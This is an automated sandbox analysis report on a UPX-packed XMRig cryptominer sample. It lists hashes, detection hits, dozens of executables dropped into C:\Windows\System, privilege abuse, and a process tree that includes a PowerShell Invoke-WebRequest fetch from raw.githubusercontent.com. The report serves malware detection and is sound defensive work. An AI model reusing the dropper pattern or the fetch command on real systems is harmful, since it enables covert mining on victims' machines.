xmrig | c55f43a7efc9a3aac2921be14983ac681ee108ce79395414cd8b88906a91a265

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
01/05/2024, 09:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
Size

2.0MB
MD5

0b7f68c5a9a307f5ee061cc5d9303371
SHA1

c0572f94f5ccbf1b7b373e4443bdb7cb768f7c90
SHA256

c55f43a7efc9a3aac2921be14983ac681ee108ce79395414cd8b88906a91a265
SHA512

357439768237918dc955b5d3a214730ede097e14d48937e3ea46114e1a0cfc51b89a9acdce8779c43cae80b71afcab07386ea1db71fa8f1b60b8a71108aea41b
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4p/pOMn+v:NABC

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 36 IoCs

miner

resource	yara_rule
behavioral2/memory/4448-45-0x00007FF71CD50000-0x00007FF71D142000-memory.dmp	xmrig
behavioral2/memory/2100-49-0x00007FF6635F0000-0x00007FF6639E2000-memory.dmp	xmrig
behavioral2/memory/1152-67-0x00007FF636040000-0x00007FF636432000-memory.dmp	xmrig
behavioral2/memory/1792-71-0x00007FF628B20000-0x00007FF628F12000-memory.dmp	xmrig
behavioral2/memory/940-66-0x00007FF771550000-0x00007FF771942000-memory.dmp	xmrig
behavioral2/memory/4928-56-0x00007FF77A990000-0x00007FF77AD82000-memory.dmp	xmrig
behavioral2/memory/2268-55-0x00007FF6E31D0000-0x00007FF6E35C2000-memory.dmp	xmrig
behavioral2/memory/4896-53-0x00007FF6494C0000-0x00007FF6498B2000-memory.dmp	xmrig
behavioral2/memory/1424-949-0x00007FF722C20000-0x00007FF723012000-memory.dmp	xmrig
behavioral2/memory/4924-969-0x00007FF6FC350000-0x00007FF6FC742000-memory.dmp	xmrig
behavioral2/memory/4632-981-0x00007FF706280000-0x00007FF706672000-memory.dmp	xmrig
behavioral2/memory/3628-985-0x00007FF657590000-0x00007FF657982000-memory.dmp	xmrig
behavioral2/memory/556-987-0x00007FF73B200000-0x00007FF73B5F2000-memory.dmp	xmrig
behavioral2/memory/2044-1041-0x00007FF709000000-0x00007FF7093F2000-memory.dmp	xmrig
behavioral2/memory/1704-1044-0x00007FF753E30000-0x00007FF754222000-memory.dmp	xmrig
behavioral2/memory/4484-1022-0x00007FF7B0020000-0x00007FF7B0412000-memory.dmp	xmrig
behavioral2/memory/4576-1007-0x00007FF6A0680000-0x00007FF6A0A72000-memory.dmp	xmrig
behavioral2/memory/2528-990-0x00007FF796300000-0x00007FF7966F2000-memory.dmp	xmrig
behavioral2/memory/4896-1807-0x00007FF6494C0000-0x00007FF6498B2000-memory.dmp	xmrig
behavioral2/memory/2100-1806-0x00007FF6635F0000-0x00007FF6639E2000-memory.dmp	xmrig
behavioral2/memory/2268-1831-0x00007FF6E31D0000-0x00007FF6E35C2000-memory.dmp	xmrig
behavioral2/memory/4928-1829-0x00007FF77A990000-0x00007FF77AD82000-memory.dmp	xmrig
behavioral2/memory/940-1817-0x00007FF771550000-0x00007FF771942000-memory.dmp	xmrig
behavioral2/memory/1152-1841-0x00007FF636040000-0x00007FF636432000-memory.dmp	xmrig
behavioral2/memory/3660-1855-0x00007FF6B3560000-0x00007FF6B3952000-memory.dmp	xmrig
behavioral2/memory/1424-1865-0x00007FF722C20000-0x00007FF723012000-memory.dmp	xmrig
behavioral2/memory/1156-1893-0x00007FF78A300000-0x00007FF78A6F2000-memory.dmp	xmrig
behavioral2/memory/1792-1845-0x00007FF628B20000-0x00007FF628F12000-memory.dmp	xmrig
behavioral2/memory/4448-1799-0x00007FF71CD50000-0x00007FF71D142000-memory.dmp	xmrig
behavioral2/memory/4924-1957-0x00007FF6FC350000-0x00007FF6FC742000-memory.dmp	xmrig
behavioral2/memory/4632-1955-0x00007FF706280000-0x00007FF706672000-memory.dmp	xmrig
behavioral2/memory/3628-1973-0x00007FF657590000-0x00007FF657982000-memory.dmp	xmrig
behavioral2/memory/556-1972-0x00007FF73B200000-0x00007FF73B5F2000-memory.dmp	xmrig
behavioral2/memory/2044-1970-0x00007FF709000000-0x00007FF7093F2000-memory.dmp	xmrig
behavioral2/memory/2124-2297-0x00007FF703060000-0x00007FF703452000-memory.dmp	xmrig
behavioral2/memory/1704-1990-0x00007FF753E30000-0x00007FF754222000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1804	powershell.exe
5	1804	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4448	YHlDwFv.exe
2100	AKRugTc.exe
4896	gXyLNoP.exe
2268	zFaqHwb.exe
4928	JTEtzhU.exe
940	KuTYfZj.exe
1152	kvYtvuu.exe
1792	RbKsgnL.exe
3660	FaPTEAH.exe
1156	xMZlwRT.exe
2124	NLdwOTt.exe
1424	YWhDKtA.exe
4924	HuYVnzB.exe
4632	ziBwXZm.exe
3628	pTrHoWj.exe
556	ngXEHCf.exe
2528	UEViYjq.exe
4576	QRokbWo.exe
4484	ZyDMuGu.exe
2044	TdTnzPn.exe
1704	IUBeXCS.exe
2796	cGwqhFe.exe
3572	kqvZZvO.exe
2824	aazWxwO.exe
3520	wpenZTr.exe
376	mXtSDxA.exe
396	HyVUtDw.exe
1288	VJhBwZn.exe
3292	dfmWHne.exe
1336	eaHYbhw.exe
2308	fOlIEaU.exe
4748	hXrxlyl.exe
724	JVEAHOq.exe
4572	zHfLEfl.exe
1820	AYYMLdW.exe
2976	PiaLqBj.exe
1456	CnrJOHB.exe
1504	TUCetUs.exe
1248	PmEbHBh.exe
4492	FOllatp.exe
4984	LcpWfHl.exe
1472	MAXXGVa.exe
3852	XdPCIqF.exe
1712	PqhrzDI.exe
4768	eZGZbTU.exe
2644	MzhSfek.exe
3216	QAIwFaT.exe
4740	KRKfiIE.exe
4528	DtUKHEi.exe
2572	iaSXhqq.exe
916	uszTYUH.exe
224	aBVxMoR.exe
4660	CmaIyJl.exe
2352	YOLnfAf.exe
2324	UTCynqT.exe
2120	yICkFUh.exe
4232	RMZPtNP.exe
2596	NBUofIp.exe
1876	KiQbWJe.exe
4488	blyyedw.exe
1028	IbxkVUS.exe
2076	vLiRlid.exe
2168	rxMEWSh.exe
2084	FUklMZZ.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4064-0-0x00007FF7871F0000-0x00007FF7875E2000-memory.dmp	upx
behavioral2/files/0x0008000000023261-5.dat	upx
behavioral2/files/0x0008000000023267-9.dat	upx
behavioral2/files/0x0008000000023264-11.dat	upx
behavioral2/files/0x0008000000023269-32.dat	upx
behavioral2/files/0x000700000002326a-34.dat	upx
behavioral2/files/0x000700000002326d-42.dat	upx
behavioral2/memory/4448-45-0x00007FF71CD50000-0x00007FF71D142000-memory.dmp	upx
behavioral2/memory/2100-49-0x00007FF6635F0000-0x00007FF6639E2000-memory.dmp	upx
behavioral2/files/0x000800000002326b-58.dat	upx
behavioral2/files/0x000700000002326e-65.dat	upx
behavioral2/memory/1152-67-0x00007FF636040000-0x00007FF636432000-memory.dmp	upx
behavioral2/memory/1792-71-0x00007FF628B20000-0x00007FF628F12000-memory.dmp	upx
behavioral2/files/0x000700000002326f-72.dat	upx
behavioral2/memory/3660-75-0x00007FF6B3560000-0x00007FF6B3952000-memory.dmp	upx
behavioral2/memory/2124-79-0x00007FF703060000-0x00007FF703452000-memory.dmp	upx
behavioral2/files/0x0007000000023270-83.dat	upx
behavioral2/memory/1156-73-0x00007FF78A300000-0x00007FF78A6F2000-memory.dmp	upx
behavioral2/files/0x000800000002326c-70.dat	upx
behavioral2/memory/940-66-0x00007FF771550000-0x00007FF771942000-memory.dmp	upx
behavioral2/memory/4928-56-0x00007FF77A990000-0x00007FF77AD82000-memory.dmp	upx
behavioral2/memory/2268-55-0x00007FF6E31D0000-0x00007FF6E35C2000-memory.dmp	upx
behavioral2/files/0x0008000000023265-54.dat	upx
behavioral2/files/0x0007000000023271-88.dat	upx
behavioral2/files/0x0007000000023277-117.dat	upx
behavioral2/files/0x0007000000023279-130.dat	upx
behavioral2/files/0x000700000002327a-136.dat	upx
behavioral2/files/0x000700000002327e-156.dat	upx
behavioral2/files/0x0007000000023280-162.dat	upx
behavioral2/files/0x0007000000023281-171.dat	upx
behavioral2/files/0x0007000000023284-180.dat	upx
behavioral2/files/0x0007000000023285-183.dat	upx
behavioral2/files/0x0007000000023283-177.dat	upx
behavioral2/files/0x0007000000023282-175.dat	upx
behavioral2/files/0x000700000002327f-160.dat	upx
behavioral2/files/0x000700000002327d-150.dat	upx
behavioral2/files/0x000700000002327c-146.dat	upx
behavioral2/files/0x000700000002327b-140.dat	upx
behavioral2/files/0x0007000000023278-126.dat	upx
behavioral2/files/0x0007000000023276-113.dat	upx
behavioral2/files/0x0007000000023275-108.dat	upx
behavioral2/files/0x0007000000023274-103.dat	upx
behavioral2/files/0x0007000000023273-98.dat	upx
behavioral2/files/0x0007000000023272-93.dat	upx
behavioral2/memory/4896-53-0x00007FF6494C0000-0x00007FF6498B2000-memory.dmp	upx
behavioral2/memory/1424-949-0x00007FF722C20000-0x00007FF723012000-memory.dmp	upx
behavioral2/memory/4924-969-0x00007FF6FC350000-0x00007FF6FC742000-memory.dmp	upx
behavioral2/memory/4632-981-0x00007FF706280000-0x00007FF706672000-memory.dmp	upx
behavioral2/memory/3628-985-0x00007FF657590000-0x00007FF657982000-memory.dmp	upx
behavioral2/memory/556-987-0x00007FF73B200000-0x00007FF73B5F2000-memory.dmp	upx
behavioral2/memory/2044-1041-0x00007FF709000000-0x00007FF7093F2000-memory.dmp	upx
behavioral2/memory/1704-1044-0x00007FF753E30000-0x00007FF754222000-memory.dmp	upx
behavioral2/memory/4484-1022-0x00007FF7B0020000-0x00007FF7B0412000-memory.dmp	upx
behavioral2/memory/4576-1007-0x00007FF6A0680000-0x00007FF6A0A72000-memory.dmp	upx
behavioral2/memory/2528-990-0x00007FF796300000-0x00007FF7966F2000-memory.dmp	upx
behavioral2/memory/4896-1807-0x00007FF6494C0000-0x00007FF6498B2000-memory.dmp	upx
behavioral2/memory/2100-1806-0x00007FF6635F0000-0x00007FF6639E2000-memory.dmp	upx
behavioral2/memory/2268-1831-0x00007FF6E31D0000-0x00007FF6E35C2000-memory.dmp	upx
behavioral2/memory/4928-1829-0x00007FF77A990000-0x00007FF77AD82000-memory.dmp	upx
behavioral2/memory/940-1817-0x00007FF771550000-0x00007FF771942000-memory.dmp	upx
behavioral2/memory/1152-1841-0x00007FF636040000-0x00007FF636432000-memory.dmp	upx
behavioral2/memory/3660-1855-0x00007FF6B3560000-0x00007FF6B3952000-memory.dmp	upx
behavioral2/memory/1424-1865-0x00007FF722C20000-0x00007FF723012000-memory.dmp	upx
behavioral2/memory/1156-1893-0x00007FF78A300000-0x00007FF78A6F2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\CfTfUwd.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\RMZPtNP.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\uWpyjMH.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\PRqvsdH.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\dwLoBfc.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\OctMGVN.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\AVNAirw.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\PiaLqBj.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\pZYIGVd.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\venzPIt.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\lvYIWHg.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\ArktTAv.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\VTieIEj.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\RbKsgnL.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\TVmeOzV.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\WsXkitG.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\DUYBTue.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\WdJCBcK.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\bNdtejL.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\tKtRyiL.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\HmCfRRt.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\KiQbWJe.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\XmzqDAE.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\IxKugGL.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\qfiFvmh.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\OyXPnfr.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\MOsjMdC.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\FiumOEA.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\ILpPqoz.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\AKRugTc.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\yICkFUh.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\YPmLugk.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\AfzZIvo.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\lMaOmsY.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\qfeSSbj.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\MSaRvdi.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\AAciYLA.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\hXrxlyl.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\eZGZbTU.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\CmaIyJl.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\ClxHywB.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\zMugdIZ.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\QrXnYuf.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\NjiYRZz.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\mWnIBFQ.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\xgLuZfr.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\VGCgKYm.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\oVSYvsI.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\cQQBvdd.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\HpBQASW.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\xMZlwRT.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\IbxkVUS.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\FUklMZZ.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\hqJEOjD.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\LSirVWs.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\TzIQWOn.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\NLdwOTt.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\bKSApoI.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\KkZBRoS.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\IFQJQsB.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\OxIcEwA.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\oksnpup.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\HuYVnzB.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
File created	C:\Windows\System\XdPCIqF.exe	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1804	powershell.exe
1804	powershell.exe
1804	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeLockMemoryPrivilege	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 1804	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	90
PID 4064 wrote to memory of 1804	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	90
PID 4064 wrote to memory of 4448	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	91
PID 4064 wrote to memory of 4448	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	91
PID 4064 wrote to memory of 2100	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	92
PID 4064 wrote to memory of 2100	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	92
PID 4064 wrote to memory of 4896	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	93
PID 4064 wrote to memory of 4896	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	93
PID 4064 wrote to memory of 2268	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	94
PID 4064 wrote to memory of 2268	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	94
PID 4064 wrote to memory of 4928	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	95
PID 4064 wrote to memory of 4928	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	95
PID 4064 wrote to memory of 940	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	96
PID 4064 wrote to memory of 940	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	96
PID 4064 wrote to memory of 1152	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	97
PID 4064 wrote to memory of 1152	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	97
PID 4064 wrote to memory of 1792	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	98
PID 4064 wrote to memory of 1792	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	98
PID 4064 wrote to memory of 3660	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	99
PID 4064 wrote to memory of 3660	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	99
PID 4064 wrote to memory of 1156	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	100
PID 4064 wrote to memory of 1156	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	100
PID 4064 wrote to memory of 2124	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	101
PID 4064 wrote to memory of 2124	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	101
PID 4064 wrote to memory of 1424	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	102
PID 4064 wrote to memory of 1424	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	102
PID 4064 wrote to memory of 4924	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	103
PID 4064 wrote to memory of 4924	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	103
PID 4064 wrote to memory of 4632	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	104
PID 4064 wrote to memory of 4632	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	104
PID 4064 wrote to memory of 3628	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	105
PID 4064 wrote to memory of 3628	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	105
PID 4064 wrote to memory of 556	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	106
PID 4064 wrote to memory of 556	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	106
PID 4064 wrote to memory of 2528	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	107
PID 4064 wrote to memory of 2528	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	107
PID 4064 wrote to memory of 4576	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	108
PID 4064 wrote to memory of 4576	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	108
PID 4064 wrote to memory of 4484	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	109
PID 4064 wrote to memory of 4484	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	109
PID 4064 wrote to memory of 2044	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	110
PID 4064 wrote to memory of 2044	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	110
PID 4064 wrote to memory of 1704	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	111
PID 4064 wrote to memory of 1704	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	111
PID 4064 wrote to memory of 2796	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	112
PID 4064 wrote to memory of 2796	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	112
PID 4064 wrote to memory of 3572	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	113
PID 4064 wrote to memory of 3572	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	113
PID 4064 wrote to memory of 2824	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	114
PID 4064 wrote to memory of 2824	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	114
PID 4064 wrote to memory of 3520	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	115
PID 4064 wrote to memory of 3520	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	115
PID 4064 wrote to memory of 376	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	116
PID 4064 wrote to memory of 376	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	116
PID 4064 wrote to memory of 396	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	117
PID 4064 wrote to memory of 396	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	117
PID 4064 wrote to memory of 1288	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	118
PID 4064 wrote to memory of 1288	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	118
PID 4064 wrote to memory of 3292	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	119
PID 4064 wrote to memory of 3292	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	119
PID 4064 wrote to memory of 1336	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	120
PID 4064 wrote to memory of 1336	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	120
PID 4064 wrote to memory of 2308	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	121
PID 4064 wrote to memory of 2308	4064	0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe	121

C:\Users\Admin\AppData\Local\Temp\0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0b7f68c5a9a307f5ee061cc5d9303371_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1804
- C:\Windows\System\YHlDwFv.exe
  C:\Windows\System\YHlDwFv.exe
  2⤵
  - Executes dropped EXE
  PID:4448
- C:\Windows\System\AKRugTc.exe
  C:\Windows\System\AKRugTc.exe
  2⤵
  - Executes dropped EXE
  PID:2100
- C:\Windows\System\gXyLNoP.exe
  C:\Windows\System\gXyLNoP.exe
  2⤵
  - Executes dropped EXE
  PID:4896
- C:\Windows\System\zFaqHwb.exe
  C:\Windows\System\zFaqHwb.exe
  2⤵
  - Executes dropped EXE
  PID:2268
- C:\Windows\System\JTEtzhU.exe
  C:\Windows\System\JTEtzhU.exe
  2⤵
  - Executes dropped EXE
  PID:4928
- C:\Windows\System\KuTYfZj.exe
  C:\Windows\System\KuTYfZj.exe
  2⤵
  - Executes dropped EXE
  PID:940
- C:\Windows\System\kvYtvuu.exe
  C:\Windows\System\kvYtvuu.exe
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Windows\System\RbKsgnL.exe
  C:\Windows\System\RbKsgnL.exe
  2⤵
  - Executes dropped EXE
  PID:1792
- C:\Windows\System\FaPTEAH.exe
  C:\Windows\System\FaPTEAH.exe
  2⤵
  - Executes dropped EXE
  PID:3660
- C:\Windows\System\xMZlwRT.exe
  C:\Windows\System\xMZlwRT.exe
  2⤵
  - Executes dropped EXE
  PID:1156
- C:\Windows\System\NLdwOTt.exe
  C:\Windows\System\NLdwOTt.exe
  2⤵
  - Executes dropped EXE
  PID:2124
- C:\Windows\System\YWhDKtA.exe
  C:\Windows\System\YWhDKtA.exe
  2⤵
  - Executes dropped EXE
  PID:1424
- C:\Windows\System\HuYVnzB.exe
  C:\Windows\System\HuYVnzB.exe
  2⤵
  - Executes dropped EXE
  PID:4924
- C:\Windows\System\ziBwXZm.exe
  C:\Windows\System\ziBwXZm.exe
  2⤵
  - Executes dropped EXE
  PID:4632
- C:\Windows\System\pTrHoWj.exe
  C:\Windows\System\pTrHoWj.exe
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Windows\System\ngXEHCf.exe
  C:\Windows\System\ngXEHCf.exe
  2⤵
  - Executes dropped EXE
  PID:556
- C:\Windows\System\UEViYjq.exe
  C:\Windows\System\UEViYjq.exe
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Windows\System\QRokbWo.exe
  C:\Windows\System\QRokbWo.exe
  2⤵
  - Executes dropped EXE
  PID:4576
- C:\Windows\System\ZyDMuGu.exe
